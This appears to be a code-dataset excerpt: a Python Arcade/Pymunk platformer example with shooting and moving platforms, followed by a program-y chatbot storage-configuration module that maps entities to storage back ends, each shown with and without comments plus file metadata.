":resources:images/animated_characters/male_person/malePerson" # main_path = ":resources:images/animated_characters/male_adventurer/maleAdventurer" # main_path = ":resources:images/animated_characters/zombie/zombie" # main_path = ":resources:images/animated_characters/robot/robot" # Load textures for idle standing self.idle_texture_pair = arcade.load_texture_pair(f"{main_path}_idle.png") self.jump_texture_pair = arcade.load_texture_pair(f"{main_path}_jump.png") self.fall_texture_pair = arcade.load_texture_pair(f"{main_path}_fall.png") # Load textures for walking self.walk_textures = [] for i in range(8): texture = arcade.load_texture_pair(f"{main_path}_walk{i}.png") self.walk_textures.append(texture) # Set the initial texture self.texture = self.idle_texture_pair[0] # Hit box will be set based on the first image used. self.hit_box = self.texture.hit_box_points # Default to face-right self.character_face_direction = RIGHT_FACING # Index of our current texture self.cur_texture = 0 # How far have we traveled horizontally since changing the texture self.x_odometer = 0 def pymunk_moved(self, physics_engine, dx, dy, d_angle): """ Handle being moved by the pymunk engine """ # Figure out if we need to face left or right if dx < -DEAD_ZONE and self.character_face_direction == RIGHT_FACING: self.character_face_direction = LEFT_FACING elif dx > DEAD_ZONE and self.character_face_direction == LEFT_FACING: self.character_face_direction = RIGHT_FACING # Are we on the ground? is_on_ground = physics_engine.is_on_ground(self) # Add to the odometer how far we've moved self.x_odometer += dx # Jumping animation if not is_on_ground: if dy > DEAD_ZONE: self.texture = self.jump_texture_pair[self.character_face_direction] return elif dy < -DEAD_ZONE: self.texture = self.fall_texture_pair[self.character_face_direction] return # Idle animation if abs(dx) <= DEAD_ZONE: self.texture = self.idle_texture_pair[self.character_face_direction] return # Have we moved far enough to change the texture? if abs(self.x_odometer) > DISTANCE_TO_CHANGE_TEXTURE: # Reset the odometer self.x_odometer = 0 # Advance the walking animation self.cur_texture += 1 if self.cur_texture > 7: self.cur_texture = 0 self.texture = self.walk_textures[self.cur_texture][self.character_face_direction] class BulletSprite(arcade.SpriteSolidColor): """ Bullet Sprite """ def pymunk_moved(self, physics_engine, dx, dy, d_angle): """ Handle when the sprite is moved by the physics engine. """ # If the bullet falls below the screen, remove it if self.center_y < -100: self.remove_from_sprite_lists() class GameWindow(arcade.Window): """ Main Window """ def __init__(self, width, height, title): """ Create the variables """ # Init the parent class super().__init__(width, height, title) # Player sprite self.player_sprite: Optional[PlayerSprite] = None # Sprite lists we need self.player_list: Optional[arcade.SpriteList] = None self.wall_list: Optional[arcade.SpriteList] = None self.bullet_list: Optional[arcade.SpriteList] = None self.item_list: Optional[arcade.SpriteList] = None self.moving_sprites_list: Optional[arcade.SpriteList] = None # Track the current state of what key is pressed self.left_pressed: bool = False self.right_pressed: bool = False # Physics engine self.physics_engine = Optional[arcade.PymunkPhysicsEngine] # Set background color arcade.set_background_color(arcade.color.AMAZON) def setup(self): """ Set up everything with the game """ # Create the sprite lists self.player_list = arcade.SpriteList() self.bullet_list = arcade.SpriteList() # Read in the tiled map map_name = "pymunk_test_map.tmx" my_map = arcade.tilemap.read_tmx(map_name) # Read in the map layers self.wall_list = arcade.tilemap.process_layer(my_map, 'Platforms', SPRITE_SCALING_TILES) self.item_list = arcade.tilemap.process_layer(my_map, 'Dynamic Items', SPRITE_SCALING_TILES) # Create player sprite self.player_sprite = PlayerSprite() # Set player location grid_x = 1 grid_y = 1 self.player_sprite.center_x = SPRITE_SIZE * grid_x + SPRITE_SIZE / 2 self.player_sprite.center_y = SPRITE_SIZE * grid_y + SPRITE_SIZE / 2 # Add to player sprite list self.player_list.append(self.player_sprite) # Moving Sprite self.moving_sprites_list = arcade.tilemap.process_layer(my_map, 'Moving Platforms', SPRITE_SCALING_TILES) # --- Pymunk Physics Engine Setup --- # The default damping for every object controls the percent of velocity # the object will keep each second. A value of 1.0 is no speed loss, # 0.9 is 10% per second, 0.1 is 90% per second. # For top-down games, this is basically the friction for moving objects. # For platformers with gravity, this should probably be set to 1.0. # Default value is 1.0 if not specified. damping = DEFAULT_DAMPING # Set the gravity. (0, 0) is good for outer space and top-down. gravity = (0, -GRAVITY) # Create the physics engine self.physics_engine = arcade.PymunkPhysicsEngine(damping=damping, gravity=gravity) def wall_hit_handler(bullet_sprite, _wall_sprite, _arbiter, _space, _data): """ Called for bullet/wall collision """ bullet_sprite.remove_from_sprite_lists() self.physics_engine.add_collision_handler("bullet", "wall", post_handler=wall_hit_handler) def item_hit_handler(bullet_sprite, item_sprite, _arbiter, _space, _data): """ Called for bullet/wall collision """ bullet_sprite.remove_from_sprite_lists() item_sprite.remove_from_sprite_lists() self.physics_engine.add_collision_handler("bullet", "item", post_handler=item_hit_handler) # Add the player. # For the player, we set the damping to a lower value, which increases # the damping rate. This prevents the character from traveling too far # after the player lets off the movement keys. # Setting the moment to PymunkPhysicsEngine.MOMENT_INF prevents it from # rotating. # Friction normally goes between 0 (no friction) and 1.0 (high friction) # Friction is between two objects in contact. It is important to remember # in top-down games that friction moving along the 'floor' is controlled # by damping. self.physics_engine.add_sprite(self.player_sprite, friction=PLAYER_FRICTION, mass=PLAYER_MASS, moment=arcade.PymunkPhysicsEngine.MOMENT_INF, collision_type="player", max_horizontal_velocity=PLAYER_MAX_HORIZONTAL_SPEED, max_vertical_velocity=PLAYER_MAX_VERTICAL_SPEED) # Create the walls. # By setting the body type to PymunkPhysicsEngine.STATIC the walls can't # move. # Movable objects that respond to forces are PymunkPhysicsEngine.DYNAMIC # PymunkPhysicsEngine.KINEMATIC objects will move, but are assumed to be # repositioned by code and don't respond to physics forces. # Dynamic is default. self.physics_engine.add_sprite_list(self.wall_list, friction=WALL_FRICTION, collision_type="wall", body_type=arcade.PymunkPhysicsEngine.STATIC) # Create the items self.physics_engine.add_sprite_list(self.item_list, friction=DYNAMIC_ITEM_FRICTION, collision_type="item") # Add kinematic sprites self.physics_engine.add_sprite_list(self.moving_sprites_list, body_type=arcade.PymunkPhysicsEngine.KINEMATIC) def on_key_press(self, key, modifiers): """Called whenever a key is pressed. """ if key == arcade.key.LEFT: self.left_pressed = True elif key == arcade.key.RIGHT: self.right_pressed = True elif key == arcade.key.UP: # find out if player is standing on ground if self.physics_engine.is_on_ground(self.player_sprite): # She is! Go ahead and jump impulse = (0, PLAYER_JUMP_IMPULSE) self.physics_engine.apply_impulse(self.player_sprite, impulse) def on_key_release(self, key, modifiers): """Called when the user releases a key. """ if key == arcade.key.LEFT: self.left_pressed = False elif key == arcade.key.RIGHT: self.right_pressed = False def on_mouse_press(self, x, y, button, modifiers): """ Called whenever the mouse button is clicked. """ bullet = BulletSprite(20, 5, arcade.color.DARK_YELLOW) self.bullet_list.append(bullet) # Position the bullet at the player's current location start_x = self.player_sprite.center_x start_y = self.player_sprite.center_y bullet.position = self.player_sprite.position # Get from the mouse the destination location for the bullet # IMPORTANT! If you have a scrolling screen, you will also need # to add in self.view_bottom and self.view_left. dest_x = x dest_y = y # Do math to calculate how to get the bullet to the destination. # Calculation the angle in radians between the start points # and end points. This is the angle the bullet will travel. x_diff = dest_x - start_x y_diff = dest_y - start_y angle = math.atan2(y_diff, x_diff) # What is the 1/2 size of this sprite, so we can figure out how far # away to spawn the bullet size = max(self.player_sprite.width, self.player_sprite.height) / 2 # Use angle to to spawn bullet away from player in proper direction bullet.center_x += size * math.cos(angle) bullet.center_y += size * math.sin(angle) # Set angle of bullet bullet.angle = math.degrees(angle) # Gravity to use for the bullet # If we don't use custom gravity, bullet drops too fast, or we have # to make it go too fast. # Force is in relation to bullet's angle. bullet_gravity = (0, -BULLET_GRAVITY) # Add the sprite. This needs to be done AFTER setting the fields above. self.physics_engine.add_sprite(bullet, mass=BULLET_MASS, damping=1.0, friction=0.6, collision_type="bullet", gravity=bullet_gravity, elasticity=0.9) # Add force to bullet force = (BULLET_MOVE_FORCE, 0) self.physics_engine.apply_force(bullet, force) def on_update(self, delta_time): """ Movement and game logic """ is_on_ground = self.physics_engine.is_on_ground(self.player_sprite) # Update player forces based on keys pressed if self.left_pressed and not self.right_pressed: # Create a force to the left. Apply it. if is_on_ground: force = (-PLAYER_MOVE_FORCE_ON_GROUND, 0) else: force = (-PLAYER_MOVE_FORCE_IN_AIR, 0) self.physics_engine.apply_force(self.player_sprite, force) # Set friction to zero for the player while moving self.physics_engine.set_friction(self.player_sprite, 0) elif self.right_pressed and not self.left_pressed: # Create a force to the right. Apply it. if is_on_ground: force = (PLAYER_MOVE_FORCE_ON_GROUND, 0) else: force = (PLAYER_MOVE_FORCE_IN_AIR, 0) self.physics_engine.apply_force(self.player_sprite, force) # Set friction to zero for the player while moving self.physics_engine.set_friction(self.player_sprite, 0) else: # Player's feet are not moving. Therefore up the friction so we stop. self.physics_engine.set_friction(self.player_sprite, 1.0) # Move items in the physics engine self.physics_engine.step() # For each moving sprite, see if we've reached a boundary and need to # reverse course. for moving_sprite in self.moving_sprites_list: if moving_sprite.boundary_right and \ moving_sprite.change_x > 0 and \ moving_sprite.right > moving_sprite.boundary_right: moving_sprite.change_x *= -1 elif moving_sprite.boundary_left and \ moving_sprite.change_x < 0 and \ moving_sprite.left > moving_sprite.boundary_left: moving_sprite.change_x *= -1 if moving_sprite.boundary_top and \ moving_sprite.change_y > 0 and \ moving_sprite.top > moving_sprite.boundary_top: moving_sprite.change_y *= -1 elif moving_sprite.boundary_bottom and \ moving_sprite.change_y < 0 and \ moving_sprite.bottom < moving_sprite.boundary_bottom: moving_sprite.change_y *= -1 # Figure out and set our moving platform velocity. # Pymunk uses velocity is in pixels per second. If we instead have # pixels per frame, we need to convert. velocity = (moving_sprite.change_x * 1 / delta_time, moving_sprite.change_y * 1 / delta_time) self.physics_engine.set_velocity(moving_sprite, velocity) def on_draw(self): """ Draw everything """ arcade.start_render() self.wall_list.draw() self.moving_sprites_list.draw() self.bullet_list.draw() self.item_list.draw() self.player_list.draw() def main(): """ Main method """ window = GameWindow(SCREEN_WIDTH, SCREEN_HEIGHT, SCREEN_TITLE) window.setup() arcade.run() if __name__ == "__main__": main()
39.002232
105
0.630115
import math from typing import Optional import arcade SCREEN_TITLE = "PyMunk Platformer" SPRITE_IMAGE_SIZE = 128 SPRITE_SCALING_PLAYER = 0.5 SPRITE_SCALING_TILES = 0.5 SPRITE_SIZE = int(SPRITE_IMAGE_SIZE * SPRITE_SCALING_PLAYER) SCREEN_GRID_WIDTH = 25 SCREEN_GRID_HEIGHT = 15 SCREEN_WIDTH = SPRITE_SIZE * SCREEN_GRID_WIDTH SCREEN_HEIGHT = SPRITE_SIZE * SCREEN_GRID_HEIGHT GRAVITY = 1500 DEFAULT_DAMPING = 1.0 PLAYER_DAMPING = 0.4 PLAYER_FRICTION = 1.0 WALL_FRICTION = 0.7 DYNAMIC_ITEM_FRICTION = 0.6 PLAYER_MASS = 2.0 PLAYER_MAX_HORIZONTAL_SPEED = 450 PLAYER_MAX_VERTICAL_SPEED = 1600 PLAYER_MOVE_FORCE_ON_GROUND = 8000 PLAYER_MOVE_FORCE_IN_AIR = 900 PLAYER_JUMP_IMPULSE = 1800 DEAD_ZONE = 0.1 RIGHT_FACING = 0 LEFT_FACING = 1 DISTANCE_TO_CHANGE_TEXTURE = 20 BULLET_MOVE_FORCE = 4500 BULLET_MASS = 0.1 BULLET_GRAVITY = 300 class PlayerSprite(arcade.Sprite): def __init__(self): super().__init__() self.scale = SPRITE_SCALING_PLAYER # main_path = ":resources:images/animated_characters/female_adventurer/femaleAdventurer" main_path = ":resources:images/animated_characters/female_person/femalePerson" # main_path = ":resources:images/animated_characters/male_person/malePerson" # main_path = ":resources:images/animated_characters/male_adventurer/maleAdventurer" # main_path = ":resources:images/animated_characters/zombie/zombie" # main_path = ":resources:images/animated_characters/robot/robot" # Load textures for idle standing self.idle_texture_pair = arcade.load_texture_pair(f"{main_path}_idle.png") self.jump_texture_pair = arcade.load_texture_pair(f"{main_path}_jump.png") self.fall_texture_pair = arcade.load_texture_pair(f"{main_path}_fall.png") # Load textures for walking self.walk_textures = [] for i in range(8): texture = arcade.load_texture_pair(f"{main_path}_walk{i}.png") self.walk_textures.append(texture) # Set the initial texture self.texture = self.idle_texture_pair[0] # Hit box will be set based on the first image used. self.hit_box = self.texture.hit_box_points # Default to face-right self.character_face_direction = RIGHT_FACING # Index of our current texture self.cur_texture = 0 # How far have we traveled horizontally since changing the texture self.x_odometer = 0 def pymunk_moved(self, physics_engine, dx, dy, d_angle): # Figure out if we need to face left or right if dx < -DEAD_ZONE and self.character_face_direction == RIGHT_FACING: self.character_face_direction = LEFT_FACING elif dx > DEAD_ZONE and self.character_face_direction == LEFT_FACING: self.character_face_direction = RIGHT_FACING # Are we on the ground? is_on_ground = physics_engine.is_on_ground(self) # Add to the odometer how far we've moved self.x_odometer += dx if not is_on_ground: if dy > DEAD_ZONE: self.texture = self.jump_texture_pair[self.character_face_direction] return elif dy < -DEAD_ZONE: self.texture = self.fall_texture_pair[self.character_face_direction] return if abs(dx) <= DEAD_ZONE: self.texture = self.idle_texture_pair[self.character_face_direction] return if abs(self.x_odometer) > DISTANCE_TO_CHANGE_TEXTURE: self.x_odometer = 0 self.cur_texture += 1 if self.cur_texture > 7: self.cur_texture = 0 self.texture = self.walk_textures[self.cur_texture][self.character_face_direction] class BulletSprite(arcade.SpriteSolidColor): def pymunk_moved(self, physics_engine, dx, dy, d_angle): if self.center_y < -100: self.remove_from_sprite_lists() class GameWindow(arcade.Window): def __init__(self, width, height, title): super().__init__(width, height, title) self.player_sprite: Optional[PlayerSprite] = None self.player_list: Optional[arcade.SpriteList] = None self.wall_list: Optional[arcade.SpriteList] = None self.bullet_list: Optional[arcade.SpriteList] = None self.item_list: Optional[arcade.SpriteList] = None self.moving_sprites_list: Optional[arcade.SpriteList] = None self.left_pressed: bool = False self.right_pressed: bool = False self.physics_engine = Optional[arcade.PymunkPhysicsEngine] arcade.set_background_color(arcade.color.AMAZON) def setup(self): self.player_list = arcade.SpriteList() self.bullet_list = arcade.SpriteList() map_name = "pymunk_test_map.tmx" my_map = arcade.tilemap.read_tmx(map_name) self.wall_list = arcade.tilemap.process_layer(my_map, 'Platforms', SPRITE_SCALING_TILES) self.item_list = arcade.tilemap.process_layer(my_map, 'Dynamic Items', SPRITE_SCALING_TILES) self.player_sprite = PlayerSprite() grid_x = 1 grid_y = 1 self.player_sprite.center_x = SPRITE_SIZE * grid_x + SPRITE_SIZE / 2 self.player_sprite.center_y = SPRITE_SIZE * grid_y + SPRITE_SIZE / 2 self.player_list.append(self.player_sprite) self.moving_sprites_list = arcade.tilemap.process_layer(my_map, 'Moving Platforms', SPRITE_SCALING_TILES) damping = DEFAULT_DAMPING gravity = (0, -GRAVITY) self.physics_engine = arcade.PymunkPhysicsEngine(damping=damping, gravity=gravity) def wall_hit_handler(bullet_sprite, _wall_sprite, _arbiter, _space, _data): bullet_sprite.remove_from_sprite_lists() self.physics_engine.add_collision_handler("bullet", "wall", post_handler=wall_hit_handler) def item_hit_handler(bullet_sprite, item_sprite, _arbiter, _space, _data): bullet_sprite.remove_from_sprite_lists() item_sprite.remove_from_sprite_lists() self.physics_engine.add_collision_handler("bullet", "item", post_handler=item_hit_handler) self.physics_engine.add_sprite(self.player_sprite, friction=PLAYER_FRICTION, mass=PLAYER_MASS, moment=arcade.PymunkPhysicsEngine.MOMENT_INF, collision_type="player", max_horizontal_velocity=PLAYER_MAX_HORIZONTAL_SPEED, max_vertical_velocity=PLAYER_MAX_VERTICAL_SPEED) # move. # Movable objects that respond to forces are PymunkPhysicsEngine.DYNAMIC # PymunkPhysicsEngine.KINEMATIC objects will move, but are assumed to be # repositioned by code and don't respond to physics forces. self.physics_engine.add_sprite_list(self.wall_list, friction=WALL_FRICTION, collision_type="wall", body_type=arcade.PymunkPhysicsEngine.STATIC) self.physics_engine.add_sprite_list(self.item_list, friction=DYNAMIC_ITEM_FRICTION, collision_type="item") self.physics_engine.add_sprite_list(self.moving_sprites_list, body_type=arcade.PymunkPhysicsEngine.KINEMATIC) def on_key_press(self, key, modifiers): if key == arcade.key.LEFT: self.left_pressed = True elif key == arcade.key.RIGHT: self.right_pressed = True elif key == arcade.key.UP: if self.physics_engine.is_on_ground(self.player_sprite): impulse = (0, PLAYER_JUMP_IMPULSE) self.physics_engine.apply_impulse(self.player_sprite, impulse) def on_key_release(self, key, modifiers): if key == arcade.key.LEFT: self.left_pressed = False elif key == arcade.key.RIGHT: self.right_pressed = False def on_mouse_press(self, x, y, button, modifiers): bullet = BulletSprite(20, 5, arcade.color.DARK_YELLOW) self.bullet_list.append(bullet) start_x = self.player_sprite.center_x start_y = self.player_sprite.center_y bullet.position = self.player_sprite.position # Get from the mouse the destination location for the bullet # IMPORTANT! If you have a scrolling screen, you will also need # to add in self.view_bottom and self.view_left. dest_x = x dest_y = y # Do math to calculate how to get the bullet to the destination. # Calculation the angle in radians between the start points # and end points. This is the angle the bullet will travel. x_diff = dest_x - start_x y_diff = dest_y - start_y angle = math.atan2(y_diff, x_diff) # What is the 1/2 size of this sprite, so we can figure out how far # away to spawn the bullet size = max(self.player_sprite.width, self.player_sprite.height) / 2 # Use angle to to spawn bullet away from player in proper direction bullet.center_x += size * math.cos(angle) bullet.center_y += size * math.sin(angle) # Set angle of bullet bullet.angle = math.degrees(angle) # Gravity to use for the bullet # If we don't use custom gravity, bullet drops too fast, or we have bullet_gravity = (0, -BULLET_GRAVITY) # Add the sprite. This needs to be done AFTER setting the fields above. self.physics_engine.add_sprite(bullet, mass=BULLET_MASS, damping=1.0, friction=0.6, collision_type="bullet", gravity=bullet_gravity, elasticity=0.9) # Add force to bullet force = (BULLET_MOVE_FORCE, 0) self.physics_engine.apply_force(bullet, force) def on_update(self, delta_time): is_on_ground = self.physics_engine.is_on_ground(self.player_sprite) # Update player forces based on keys pressed if self.left_pressed and not self.right_pressed: # Create a force to the left. Apply it. if is_on_ground: force = (-PLAYER_MOVE_FORCE_ON_GROUND, 0) else: force = (-PLAYER_MOVE_FORCE_IN_AIR, 0) self.physics_engine.apply_force(self.player_sprite, force) # Set friction to zero for the player while moving self.physics_engine.set_friction(self.player_sprite, 0) elif self.right_pressed and not self.left_pressed: # Create a force to the right. Apply it. if is_on_ground: force = (PLAYER_MOVE_FORCE_ON_GROUND, 0) else: force = (PLAYER_MOVE_FORCE_IN_AIR, 0) self.physics_engine.apply_force(self.player_sprite, force) # Set friction to zero for the player while moving self.physics_engine.set_friction(self.player_sprite, 0) else: # Player's feet are not moving. Therefore up the friction so we stop. self.physics_engine.set_friction(self.player_sprite, 1.0) self.physics_engine.step() # reverse course. for moving_sprite in self.moving_sprites_list: if moving_sprite.boundary_right and \ moving_sprite.change_x > 0 and \ moving_sprite.right > moving_sprite.boundary_right: moving_sprite.change_x *= -1 elif moving_sprite.boundary_left and \ moving_sprite.change_x < 0 and \ moving_sprite.left > moving_sprite.boundary_left: moving_sprite.change_x *= -1 if moving_sprite.boundary_top and \ moving_sprite.change_y > 0 and \ moving_sprite.top > moving_sprite.boundary_top: moving_sprite.change_y *= -1 elif moving_sprite.boundary_bottom and \ moving_sprite.change_y < 0 and \ moving_sprite.bottom < moving_sprite.boundary_bottom: moving_sprite.change_y *= -1 # Figure out and set our moving platform velocity. # Pymunk uses velocity is in pixels per second. If we instead have # pixels per frame, we need to convert. velocity = (moving_sprite.change_x * 1 / delta_time, moving_sprite.change_y * 1 / delta_time) self.physics_engine.set_velocity(moving_sprite, velocity) def on_draw(self): arcade.start_render() self.wall_list.draw() self.moving_sprites_list.draw() self.bullet_list.draw() self.item_list.draw() self.player_list.draw() def main(): window = GameWindow(SCREEN_WIDTH, SCREEN_HEIGHT, SCREEN_TITLE) window.setup() arcade.run() if __name__ == "__main__": main()
true
true
f73d7e5362fa80beec94c4a86bffe6012f48abaf
8,085
py
Python
src/xuex-ai/storage/config.py
johnlito123/Xuez_AI
5eba129ba9e6864bf32cbe0fd7551a4ac27f7f9d
[ "MIT" ]
null
null
null
src/xuex-ai/storage/config.py
johnlito123/Xuez_AI
5eba129ba9e6864bf32cbe0fd7551a4ac27f7f9d
[ "MIT" ]
null
null
null
src/xuex-ai/storage/config.py
johnlito123/Xuez_AI
5eba129ba9e6864bf32cbe0fd7551a4ac27f7f9d
[ "MIT" ]
null
null
null
""" Copyright (c) 2016-2019 Keith Sterling http://www.keithsterling.com Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from programy.utils.logging.ylogger import YLogger from programy.config.base import BaseConfigurationData from programy.storage.stores.sql.config import SQLStorageConfiguration from programy.storage.stores.file.config import FileStorageConfiguration from programy.storage.stores.logger.config import LoggerStorageConfiguration from programy.storage.stores.nosql.mongo.config import MongoStorageConfiguration from programy.storage.stores.nosql.redis.config import RedisStorageConfiguration from programy.storage.factory import StorageFactory from programy.utils.substitutions.substitues import Substitutions class StorageConfiguration(BaseConfigurationData): def __init__(self): BaseConfigurationData.__init__(self, name="storage") self._entity_store = {} self._store_configs = {} @property def entity_store(self): return self._entity_store @property def storage_configurations(self): return self._store_configs def check_for_license_keys(self, license_keys): BaseConfigurationData.check_for_license_keys(self, license_keys) def load_config_section(self, configuration_file, configuration, bot_root, subs: Substitutions = None): storage = configuration_file.get_section(self._section_name, configuration) if storage is not None: entities = configuration_file.get_section("entities", storage) entity_types = configuration_file.get_child_section_keys("entities", storage) for entity in entity_types: entity_config = configuration_file.get_section(entity, entities) self._entity_store[entity] = entity_config stores = configuration_file.get_section("stores", storage) store_names = configuration_file.get_child_section_keys("stores", storage) for store in store_names: store_config = configuration_file.get_section(store, stores) keys = configuration_file.get_keys(store_config) if 'type' not in keys: YLogger.error(None, "'type' section missing from client config stores element [%s], ignoring config", store) continue if 'config' not in keys: YLogger.error(None, "'config' section missing from client config stores element [%s], ignoring config", store) continue type = configuration_file.get_option(store_config, 'type', subs=subs) if type == 'sql': config = SQLStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) elif type == 'mongo': config = MongoStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) elif type == 'redis': config = RedisStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) elif type == 'file': config = FileStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) elif type == 'logger': config = LoggerStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) self._store_configs[store] = config else: YLogger.warning(self, "'storage' section missing from client config, using to defaults") self._entity_store = {} self.add_default_entities(self._entity_store) self._store_configs = {} self.add_default_stores(self._store_configs) def create_storage_config(self): config = {} config['entities'] = {} self.add_default_entities(config['entities']) config['stores'] = {} self.add_default_stores(config['stores']) def to_yaml(self, data, defaults=True): data['entities'] = {} data['stores'] = {} if defaults is True: self.add_default_entities(data['entities']) self.add_default_stores(data['stores']) else: data['entities'] = {} for key, value in self._entity_store.items(): data['entities'][key] = value for name, value in self._store_configs.items(): data['stores'][name] = {} value.to_yaml(data['stores'][name], defaults) @staticmethod def add_default_stores(amap): sql = SQLStorageConfiguration() amap['sqlite'] = {'type': 'sql', 'config': sql.create_sqlstorage_config()} mongo = MongoStorageConfiguration() amap['mongo'] = {'type': 'mongo', 'config': mongo.create_mongostorage_config()} redis = RedisStorageConfiguration() amap['redis'] = {'type': 'redis', 'config': redis.create_redisstorage_config()} file = FileStorageConfiguration() amap['file'] = {'type': 'file', 'config': file.create_filestorage_config()} logger = LoggerStorageConfiguration() amap['logger'] = {'type': 'logger', 'config': logger.create_loggerstorage_config()} @staticmethod def add_default_entities(amap): amap[StorageFactory.USERS] = 'sqlite' amap[StorageFactory.LINKED_ACCOUNTS] = 'sqlite' amap[StorageFactory.LINKS] = 'sqlite' amap[StorageFactory.CATEGORIES] = 'file' amap[StorageFactory.ERRORS] = 'file' amap[StorageFactory.DUPLICATES] = 'file' amap[StorageFactory.LEARNF] = 'file' amap[StorageFactory.CONVERSATIONS] = 'file' amap[StorageFactory.MAPS] = 'file' amap[StorageFactory.SETS] = 'file' amap[StorageFactory.RDF] = 'file' amap[StorageFactory.DENORMAL] = 'file' amap[StorageFactory.NORMAL] = 'file' amap[StorageFactory.GENDER] = 'file' amap[StorageFactory.PERSON] = 'file' amap[StorageFactory.PERSON2] = 'file' amap[StorageFactory.REGEX_TEMPLATES] = 'file' amap[StorageFactory.PROPERTIES] = 'file' amap[StorageFactory.DEFAULTS] = 'file' amap[StorageFactory.VARIABLES] = 'file' amap[StorageFactory.TWITTER] = 'file' amap[StorageFactory.SPELLING_CORPUS] = 'file' amap[StorageFactory.LICENSE_KEYS] = 'file' amap[StorageFactory.PATTERN_NODES] = 'file' amap[StorageFactory.TEMPLATE_NODES] = 'file' amap[StorageFactory.BINARIES] = 'file' amap[StorageFactory.BRAINTREE] = 'file' amap[StorageFactory.PREPROCESSORS] = 'file' amap[StorageFactory.POSTPROCESSORS] = 'file' amap[StorageFactory.USERGROUPS] = 'file'
40.628141
130
0.657267
from programy.utils.logging.ylogger import YLogger from programy.config.base import BaseConfigurationData from programy.storage.stores.sql.config import SQLStorageConfiguration from programy.storage.stores.file.config import FileStorageConfiguration from programy.storage.stores.logger.config import LoggerStorageConfiguration from programy.storage.stores.nosql.mongo.config import MongoStorageConfiguration from programy.storage.stores.nosql.redis.config import RedisStorageConfiguration from programy.storage.factory import StorageFactory from programy.utils.substitutions.substitues import Substitutions class StorageConfiguration(BaseConfigurationData): def __init__(self): BaseConfigurationData.__init__(self, name="storage") self._entity_store = {} self._store_configs = {} @property def entity_store(self): return self._entity_store @property def storage_configurations(self): return self._store_configs def check_for_license_keys(self, license_keys): BaseConfigurationData.check_for_license_keys(self, license_keys) def load_config_section(self, configuration_file, configuration, bot_root, subs: Substitutions = None): storage = configuration_file.get_section(self._section_name, configuration) if storage is not None: entities = configuration_file.get_section("entities", storage) entity_types = configuration_file.get_child_section_keys("entities", storage) for entity in entity_types: entity_config = configuration_file.get_section(entity, entities) self._entity_store[entity] = entity_config stores = configuration_file.get_section("stores", storage) store_names = configuration_file.get_child_section_keys("stores", storage) for store in store_names: store_config = configuration_file.get_section(store, stores) keys = configuration_file.get_keys(store_config) if 'type' not in keys: YLogger.error(None, "'type' section missing from client config stores element [%s], ignoring config", store) continue if 'config' not in keys: YLogger.error(None, "'config' section missing from client config stores element [%s], ignoring config", store) continue type = configuration_file.get_option(store_config, 'type', subs=subs) if type == 'sql': config = SQLStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) elif type == 'mongo': config = MongoStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) elif type == 'redis': config = RedisStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) elif type == 'file': config = FileStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) elif type == 'logger': config = LoggerStorageConfiguration() config.load_config_section(configuration_file, store_config, bot_root, subs=subs) self._store_configs[store] = config else: YLogger.warning(self, "'storage' section missing from client config, using to defaults") self._entity_store = {} self.add_default_entities(self._entity_store) self._store_configs = {} self.add_default_stores(self._store_configs) def create_storage_config(self): config = {} config['entities'] = {} self.add_default_entities(config['entities']) config['stores'] = {} self.add_default_stores(config['stores']) def to_yaml(self, data, defaults=True): data['entities'] = {} data['stores'] = {} if defaults is True: self.add_default_entities(data['entities']) self.add_default_stores(data['stores']) else: data['entities'] = {} for key, value in self._entity_store.items(): data['entities'][key] = value for name, value in self._store_configs.items(): data['stores'][name] = {} value.to_yaml(data['stores'][name], defaults) @staticmethod def add_default_stores(amap): sql = SQLStorageConfiguration() amap['sqlite'] = {'type': 'sql', 'config': sql.create_sqlstorage_config()} mongo = MongoStorageConfiguration() amap['mongo'] = {'type': 'mongo', 'config': mongo.create_mongostorage_config()} redis = RedisStorageConfiguration() amap['redis'] = {'type': 'redis', 'config': redis.create_redisstorage_config()} file = FileStorageConfiguration() amap['file'] = {'type': 'file', 'config': file.create_filestorage_config()} logger = LoggerStorageConfiguration() amap['logger'] = {'type': 'logger', 'config': logger.create_loggerstorage_config()} @staticmethod def add_default_entities(amap): amap[StorageFactory.USERS] = 'sqlite' amap[StorageFactory.LINKED_ACCOUNTS] = 'sqlite' amap[StorageFactory.LINKS] = 'sqlite' amap[StorageFactory.CATEGORIES] = 'file' amap[StorageFactory.ERRORS] = 'file' amap[StorageFactory.DUPLICATES] = 'file' amap[StorageFactory.LEARNF] = 'file' amap[StorageFactory.CONVERSATIONS] = 'file' amap[StorageFactory.MAPS] = 'file' amap[StorageFactory.SETS] = 'file' amap[StorageFactory.RDF] = 'file' amap[StorageFactory.DENORMAL] = 'file' amap[StorageFactory.NORMAL] = 'file' amap[StorageFactory.GENDER] = 'file' amap[StorageFactory.PERSON] = 'file' amap[StorageFactory.PERSON2] = 'file' amap[StorageFactory.REGEX_TEMPLATES] = 'file' amap[StorageFactory.PROPERTIES] = 'file' amap[StorageFactory.DEFAULTS] = 'file' amap[StorageFactory.VARIABLES] = 'file' amap[StorageFactory.TWITTER] = 'file' amap[StorageFactory.SPELLING_CORPUS] = 'file' amap[StorageFactory.LICENSE_KEYS] = 'file' 